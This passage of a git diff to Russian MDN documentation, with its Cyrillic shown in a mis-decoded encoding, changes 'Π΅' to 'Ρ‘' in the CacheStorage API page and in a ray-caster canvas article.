+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{jsxref("Promise")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΒ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ, ΠΊΠΎΠ³Π΄Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β {{domxref("Cache")}} Π½Π°ΠΉΠ΄Ρ‘Ρ‚ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ с <code>cacheName</code> (Ссли Ρ‚Π°ΠΊΠΎΠ³ΠΎ Π½Π΅Ρ‚, Ρ‚ΠΎ создаст новый).</dd>
<dt>{{domxref("CacheStorage.delete()")}}</dt>
- <dd>Находит ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("Cache")}},Β ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉΒ <code>cacheName</code>, ΠΈ, Ссли Ρ‚Π°ΠΊΠΎΠΉ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½, удаляСт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("Cache")}} ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{jsxref("Promise")}}, Π·Π°Π²Π΅Ρ€ΡˆΠ°ΡŽΡ‰ΠΈΠΉΡΡ с <code>true</code>. Если ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β {{domxref("Cache")}}Β Π½Π΅ Π½Π°ΠΉΠ΄Π΅Ρ‚, Ρ‚ΠΎ возвращаСтся <code>false</code>.</dd>
+ <dd>Находит ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("Cache")}},Β ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉΒ <code>cacheName</code>, ΠΈ, Ссли Ρ‚Π°ΠΊΠΎΠΉ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½, удаляСт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("Cache")}} ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{jsxref("Promise")}}, Π·Π°Π²Π΅Ρ€ΡˆΠ°ΡŽΡ‰ΠΈΠΉΡΡ с <code>true</code>. Если ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β {{domxref("Cache")}}Β Π½Π΅ Π½Π°ΠΉΠ΄Ρ‘Ρ‚, Ρ‚ΠΎ возвращаСтся <code>false</code>.</dd>
<dt>{{domxref("CacheStorage.keys()")}}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β {{jsxref("Promise")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Π΅Ρ€Π½Π΅Ρ‚ массив, содСрТащий строки, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ всСм ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌ {{domxref("Cache")}}, отслСТиваСмым {{domxref("CacheStorage")}}. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ этот ΠΌΠ΅Ρ‚ΠΎΠ΄ для ΠΏΡ€ΠΎΡ…ΠΎΠ΄Π° по списку всСх ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² {{domxref("Cache")}}.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β {{jsxref("Promise")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Π΅Ρ€Π½Ρ‘Ρ‚ массив, содСрТащий строки, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ всСм ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌ {{domxref("Cache")}}, отслСТиваСмым {{domxref("CacheStorage")}}. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ этот ΠΌΠ΅Ρ‚ΠΎΠ΄ для ΠΏΡ€ΠΎΡ…ΠΎΠ΄Π° по списку всСх ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² {{domxref("Cache")}}.</dd>
</dl>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
<p>Π€Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ ΠΊΠΎΠ΄Π° взят с MDN <a href="https://github.com/mdn/sw-test/">sw-test example</a> (смотри <a href="https://mdn.github.io/sw-test/">sw-test running live</a>). Π­Ρ‚ΠΎΡ‚Β service worker ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚ старта события {{domxref("InstallEvent")}}, Π·Π°Ρ‚Π΅ΠΌ запускаСт {{domxref("ExtendableEvent.waitUntil","waitUntil")}} для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ процСсса установки прилоТСния. Он состоит ΠΈΠ· Π²Ρ‹Π·ΠΎΠ²Π°Β {{domxref("CacheStorage.open")}} для создания Π½ΠΎΠ²ΠΎΠ³ΠΎ кСша ΠΈ Π·Π°Ρ‚Π΅ΠΌΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Β {{domxref("Cache.addAll")}} для добавлСния к Π½Π΅ΠΌΡƒ списка рСсурсов.</p>
-<p>Π’ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌ Π±Π»ΠΎΠΊΠ΅ ΠΊΠΎΠ΄Π°Β ΠΌΡ‹ ΠΆΠ΄Π΅ΠΌ запуска события {{domxref("FetchEvent")}}. ΠœΡ‹ создаСм встроСнный ΠΎΡ‚Π²Π΅Ρ‚:</p>
+<p>Π’ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌ Π±Π»ΠΎΠΊΠ΅ ΠΊΠΎΠ΄Π°Β ΠΌΡ‹ ΠΆΠ΄Ρ‘ΠΌ запуска события {{domxref("FetchEvent")}}. ΠœΡ‹ создаём встроСнный ΠΎΡ‚Π²Π΅Ρ‚:</p>
<ol>
<li>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡΠ΅ΠΌ, Π±Ρ‹Π» Π»ΠΈ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ΠΉ запрос Π½Π°ΠΉΠ΄Π΅Π½ Π² CacheStorage. Если Π΄Π°, выполняСм Сго.</li>
diff --git a/files/ru/web/api/canvas_api/a_basic_ray-caster/index.html b/files/ru/web/api/canvas_api/a_basic_ray-caster/index.html
index 4f0922351f..d7afa0bf65 100644
--- a/files/ru/web/api/canvas_api/a_basic_ray-caster/index.html
+++ b/files/ru/web/api/canvas_api/a_basic_ray-caster/index.html
@@ -15,19 +15,19 @@ translation_of: Web/API/Canvas_API/A_basic_ray-caster
<p>Π― ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Π» нСбольшой экспСримСнт, понимая, ΠΊ ΠΌΠΎΠ΅ΠΌΡƒ восторгу, Ρ‡Ρ‚ΠΎ ΡΡ‚ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ элСмСнт <code>&lt;canvas&gt;</code> ΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ я <a href="https://www.whatwg.org/specs/web-apps/current-work/#dynamic">Ρ‡ΠΈΡ‚Π°Π»</a>, поддСрТиваСтся Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Fierfox, Π½ΠΎ Ρ‚Π°ΠΊ ΠΆΠ΅ поддСрТиваСтся послСднСй вСрсиСй Safari.</p>
-<p>Π₯ΠΎΡ€ΠΎΡˆΠΈΠ΅ <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API">ΠΎΠ±Π·ΠΎΡ€</a> ΠΈ <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial">руководство</a> ΠΏΠΎ canvas я нашСл Π²Β MDN, Π½ΠΎ Π½ΠΈΠΊΡ‚ΠΎ Π΅Ρ‰Π΅ Π½Π΅ писал ΠΎΠ± Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ, поэтому я Ρ€Π΅ΡˆΠΈΠ» ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΏΠΎΡ€Ρ‚Β raycaster, Π½Π°Π΄ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ я Ρ€Π°Π±ΠΎΡ‚Π°Π» Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ врСмя Π½Π°Π·Π°Π΄, ΠΈ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊΡƒΡŽ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΠΆΠΈΠ΄Π°Ρ‚ΡŒ ΠΎΡ‚ управляСмого JavaScript-ΠΎΠΌ пиксСльного Π±ΡƒΡ„Π΅Ρ€Π°.</p>
+<p>Π₯ΠΎΡ€ΠΎΡˆΠΈΠ΅ <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API">ΠΎΠ±Π·ΠΎΡ€</a> ΠΈ <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial">руководство</a> ΠΏΠΎ canvas я Π½Π°ΡˆΡ‘Π» Π²Β MDN, Π½ΠΎ Π½ΠΈΠΊΡ‚ΠΎ Π΅Ρ‰Ρ‘ Π½Π΅ писал ΠΎΠ± Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ, поэтому я Ρ€Π΅ΡˆΠΈΠ» ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΏΠΎΡ€Ρ‚Β raycaster, Π½Π°Π΄ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ я Ρ€Π°Π±ΠΎΡ‚Π°Π» Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ врСмя Π½Π°Π·Π°Π΄, ΠΈ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊΡƒΡŽ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΠΆΠΈΠ΄Π°Ρ‚ΡŒ ΠΎΡ‚ управляСмого JavaScript-ΠΎΠΌ пиксСльного Π±ΡƒΡ„Π΅Ρ€Π°.</p>
<h2 id="How.3F" name="How.3F">Как?</h2>
-<p>Основная идСя Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ в использовании {{domxref("window.setInterval","setInterval()")}} с Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½ΠΎΠΉ Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ Ρ‚Ρ€Π΅Π±ΡƒΠ΅ΠΌΠΎΠΉ частотС ΠΊΠ°Π΄Ρ€ΠΎΠ². ПослС ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Π° функция обновлСния Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Ρ€ΠΈΡΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒ холст, ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ Π²ΠΈΠ΄. Π― знаю, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠ³ Π±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ с Π±ΠΎΠ»Π΅Π΅ простого ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°, Π½ΠΎ я ΡƒΠ²Π΅Ρ€Π΅Π½, Ρ‡Ρ‚ΠΎ руководство canvas <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Basic_animations">добСрСтся Π΄ΠΎ этого</a>, ΠΈ я Ρ…ΠΎΡ‚Π΅Π» ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ, смогу Π»ΠΈ я это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ.</p>
+<p>Основная идСя Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ в использовании {{domxref("window.setInterval","setInterval()")}} с Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½ΠΎΠΉ Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ Ρ‚Ρ€Π΅Π±ΡƒΠ΅ΠΌΠΎΠΉ частотС ΠΊΠ°Π΄Ρ€ΠΎΠ². ПослС ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Π° функция обновлСния Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Ρ€ΠΈΡΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒ холст, ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ Π²ΠΈΠ΄. Π― знаю, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠ³ Π±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ с Π±ΠΎΠ»Π΅Π΅ простого ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°, Π½ΠΎ я ΡƒΠ²Π΅Ρ€Π΅Π½, Ρ‡Ρ‚ΠΎ руководство canvas <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Basic_animations">добСрётся Π΄ΠΎ этого</a>, ΠΈ я Ρ…ΠΎΡ‚Π΅Π» ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ, смогу Π»ΠΈ я это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ.</p>
-<p>Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ raycaster смотрит Π½Π°ΠΆΠΈΠΌΠ°Π»ΠΈ Π»ΠΈ Π²Ρ‹ ΠΊΠ°ΠΊΠΈΠ΅ Π»ΠΈΠ±ΠΎ клавиши в послСднСС врСмя, сохраняСт расчСты ΠΈ останавливаСтся Ссли Π²Ρ‹ бСздСйствуСтС. ΠŸΠΎΠ»ΡƒΡ‡ΠΈΠ² расчСты, холст очищаСтся, зСмля ΠΈ Π½Π΅Π±ΠΎ Ρ€ΠΈΡΡƒΡŽΡ‚ΡΡ, ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΊΠ°ΠΌΠ΅Ρ€Ρ‹ ΠΈ/ΠΈΠ»ΠΈ ориСнтация ΠΎΠ±Π½ΠΎΠ²Π»ΡΡŽΡ‚ΡΡ, Π° Π»ΡƒΡ‡ΠΈ ΠΎΡ‚Π±Ρ€Π°ΡΡ‹Π²Π°ΡŽΡ‚ΡΡ. Когда Π»ΡƒΡ‡ΠΈ ΠΏΠΎΠΏΠ°Π΄Π°ΡŽΡ‚ Π½Π° стСны, ΠΎΠ½ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ кусок холста Π² Ρ†Π²Π΅Ρ‚Π΅ стСны, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΎΠ½ΠΈ ΠΏΠΎΠΏΠ°Π»ΠΈ, ΡΠΌΠ΅ΡˆΠ°Π½Π½Ρ‹ΠΉ с Π±ΠΎΠ»Π΅Π΅ Ρ‚Π΅ΠΌΠ½ΠΎΠΉ вСрсиСй Ρ†Π²Π΅Ρ‚Π° Π² зависимости ΠΎΡ‚ расстояния Π΄ΠΎ стСны. Высота этого кусочка Ρ‚Π°ΠΊΠΆΠ΅ модСлируСтся расстояниСм ΠΎΡ‚ ΠΊΠ°ΠΌΠ΅Ρ€Ρ‹ Π΄ΠΎ стСны ΠΈ рисуСтся ΠΏΠΎ Ρ†Π΅Π½Ρ‚Ρ€Ρƒ Π»ΠΈΠ½ΠΈΠΈ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°.</p>
+<p>Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ raycaster смотрит Π½Π°ΠΆΠΈΠΌΠ°Π»ΠΈ Π»ΠΈ Π²Ρ‹ ΠΊΠ°ΠΊΠΈΠ΅ Π»ΠΈΠ±ΠΎ клавиши в послСднСС врСмя, сохраняСт расчёты ΠΈ останавливаСтся Ссли Π²Ρ‹ бСздСйствуСтС. ΠŸΠΎΠ»ΡƒΡ‡ΠΈΠ² расчёты, холст очищаСтся, зСмля ΠΈ Π½Π΅Π±ΠΎ Ρ€ΠΈΡΡƒΡŽΡ‚ΡΡ, ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΊΠ°ΠΌΠ΅Ρ€Ρ‹ ΠΈ/ΠΈΠ»ΠΈ ориСнтация ΠΎΠ±Π½ΠΎΠ²Π»ΡΡŽΡ‚ΡΡ, Π° Π»ΡƒΡ‡ΠΈ ΠΎΡ‚Π±Ρ€Π°ΡΡ‹Π²Π°ΡŽΡ‚ΡΡ. Когда Π»ΡƒΡ‡ΠΈ ΠΏΠΎΠΏΠ°Π΄Π°ΡŽΡ‚ Π½Π° стСны, ΠΎΠ½ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ кусок холста Π² Ρ†Π²Π΅Ρ‚Π΅ стСны, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΎΠ½ΠΈ ΠΏΠΎΠΏΠ°Π»ΠΈ, ΡΠΌΠ΅ΡˆΠ°Π½Π½Ρ‹ΠΉ с Π±ΠΎΠ»Π΅Π΅ Ρ‚Ρ‘ΠΌΠ½ΠΎΠΉ вСрсиСй Ρ†Π²Π΅Ρ‚Π° Π² зависимости ΠΎΡ‚ расстояния Π΄ΠΎ стСны. Высота этого кусочка Ρ‚Π°ΠΊΠΆΠ΅ модСлируСтся расстояниСм ΠΎΡ‚ ΠΊΠ°ΠΌΠ΅Ρ€Ρ‹ Π΄ΠΎ стСны ΠΈ рисуСтся ΠΏΠΎ Ρ†Π΅Π½Ρ‚Ρ€Ρƒ Π»ΠΈΠ½ΠΈΠΈ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°.</p>
-<p>Код, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ я ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ», - это смСсь Π³Π»Π°Π² raycaster ΠΈΠ· старой ΠΊΠ½ΠΈΠ³ΠΈ АндрС ЛамотСтрикса ΠΎ Π³ΡƒΡ€Ρƒ программирования ΠΈΠ³Ρ€ (ISBN: 0672305070) ΠΈΒ  <a class="external" href="http://www.shinelife.co.uk/java-maze/">java raycaster</a>,Β ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ я нашСл Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅, ΠΎΡ‚Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΠΎΠ²Π°Π»,Β ΠΏΠ΅Ρ€Π΅ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π», ΠΈ внСс всС измСнСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½ΡƒΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ внСсти, Ρ‡Ρ‚ΠΎΠ±Ρ‹ всС Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΎ Ρ…ΠΎΡ€ΠΎΡˆΠΎ.</p>
+<p>Код, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ я ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ», - это смСсь Π³Π»Π°Π² raycaster ΠΈΠ· старой ΠΊΠ½ΠΈΠ³ΠΈ АндрС ЛамотСтрикса ΠΎ Π³ΡƒΡ€Ρƒ программирования ΠΈΠ³Ρ€ (ISBN: 0672305070) ΠΈΒ  <a class="external" href="http://www.shinelife.co.uk/java-maze/">java raycaster</a>,Β ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ я Π½Π°ΡˆΡ‘Π» Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅, ΠΎΡ‚Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΠΎΠ²Π°Π»,Β ΠΏΠ΅Ρ€Π΅ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π», ΠΈ внёс всС измСнСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½ΡƒΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ внСсти, Ρ‡Ρ‚ΠΎΠ±Ρ‹ всС Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΎ Ρ…ΠΎΡ€ΠΎΡˆΠΎ.</p>
<h2 id="Results" name="Results">Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹</h2>
-<p>Π₯олст Π² Safari 2.0.1 Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ Π½Π° ΡƒΠ΄ΠΈΠ²Π»Π΅Π½ΠΈΠ΅ Ρ…ΠΎΡ€ΠΎΡˆΠΎ. Π‘ коэффициСнтом блочности, ΡƒΠ²Π΅Π»ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΌ Π΄ΠΎ отобраТСния ΠΊΡƒΡΠΎΡ‡ΠΊΠ°Β ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ 8 пиксСлСй, я ΠΌΠΎΠ³Ρƒ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΎΠΊΠ½ΠΎ 320 x 240 ΠΏΡ€ΠΈ 24 fps Π½Π° ΠΌΠΎΠ΅ΠΌ Apple mini. Firefox 1.5 Beta 1 Π΅Ρ‰Π΅ быстрСС; я ΠΌΠΎΠ³Ρƒ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ 320 x 240 ΠΏΡ€ΠΈ 24 fps с 4 ΠΏΠΈΠΊΡΠ΅Π»ΡŒΠ½Ρ‹ΠΌ кусочком. НС совсСм Π½ΠΎΠ²Ρ‹ΠΉ Ρ‡Π»Π΅Π½ сСмСйства ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния ID, Π½ΠΎ довольно ΠΏΡ€ΠΈΠ»ΠΈΡ‡Π½Ρ‹ΠΉ, учитывая, Ρ‡Ρ‚ΠΎ это ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ интСрпрСтируСмая срСда, ΠΈ ΠΌΠ½Π΅ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ Π±Π΅ΡΠΏΠΎΠΊΠΎΠΈΡ‚ΡŒΡΡ ΠΎ Π²Ρ‹Π΄Π΅Π»Π΅Π½ΠΈΠΈ памяти ΠΈΠ»ΠΈ Π²ΠΈΠ΄Π΅ΠΎΡ€Π΅ΠΆΠΈΠΌΠ°Ρ… ΠΈΠ»ΠΈ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΡ… ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€ Π² ассСмблСрС ΠΈΠ»ΠΈ Ρ‡Π΅ΠΌ-Ρ‚ΠΎ Π΅Ρ‰Π΅. Код получился ΠΎΡ‡Π΅Π½ΡŒ эффСктивным, ΠΎΠ½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ поиск ΠΏΠΎ ΠΌΠ°ΡΡΠΈΠ²ΡƒΒ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ вычислСнных Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Π½ΠΎ я Π½Π΅ Π³ΡƒΡ€Ρƒ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ, поэтому всС, вСроятно, ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ Π±Ρ‹ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ быстрСС.</p>
+<p>Π₯олст Π² Safari 2.0.1 Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ Π½Π° ΡƒΠ΄ΠΈΠ²Π»Π΅Π½ΠΈΠ΅ Ρ…ΠΎΡ€ΠΎΡˆΠΎ. Π‘ коэффициСнтом блочности, ΡƒΠ²Π΅Π»ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΌ Π΄ΠΎ отобраТСния ΠΊΡƒΡΠΎΡ‡ΠΊΠ°Β ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ 8 пиксСлСй, я ΠΌΠΎΠ³Ρƒ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΎΠΊΠ½ΠΎ 320 x 240 ΠΏΡ€ΠΈ 24 fps Π½Π° ΠΌΠΎΠ΅ΠΌ Apple mini. Firefox 1.5 Beta 1 Π΅Ρ‰Ρ‘ быстрСС; я ΠΌΠΎΠ³Ρƒ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ 320 x 240 ΠΏΡ€ΠΈ 24 fps с 4 ΠΏΠΈΠΊΡΠ΅Π»ΡŒΠ½Ρ‹ΠΌ кусочком. НС совсСм Π½ΠΎΠ²Ρ‹ΠΉ Ρ‡Π»Π΅Π½ сСмСйства ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния ID, Π½ΠΎ довольно ΠΏΡ€ΠΈΠ»ΠΈΡ‡Π½Ρ‹ΠΉ, учитывая, Ρ‡Ρ‚ΠΎ это ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ интСрпрСтируСмая срСда, ΠΈ ΠΌΠ½Π΅ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ Π±Π΅ΡΠΏΠΎΠΊΠΎΠΈΡ‚ΡŒΡΡ ΠΎ Π²Ρ‹Π΄Π΅Π»Π΅Π½ΠΈΠΈ памяти ΠΈΠ»ΠΈ Π²ΠΈΠ΄Π΅ΠΎΡ€Π΅ΠΆΠΈΠΌΠ°Ρ… ΠΈΠ»ΠΈ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΡ… ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€ Π² ассСмблСрС ΠΈΠ»ΠΈ Ρ‡Π΅ΠΌ-Ρ‚ΠΎ Π΅Ρ‰Ρ‘. Код получился ΠΎΡ‡Π΅Π½ΡŒ эффСктивным, ΠΎΠ½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ поиск ΠΏΠΎ ΠΌΠ°ΡΡΠΈΠ²ΡƒΒ 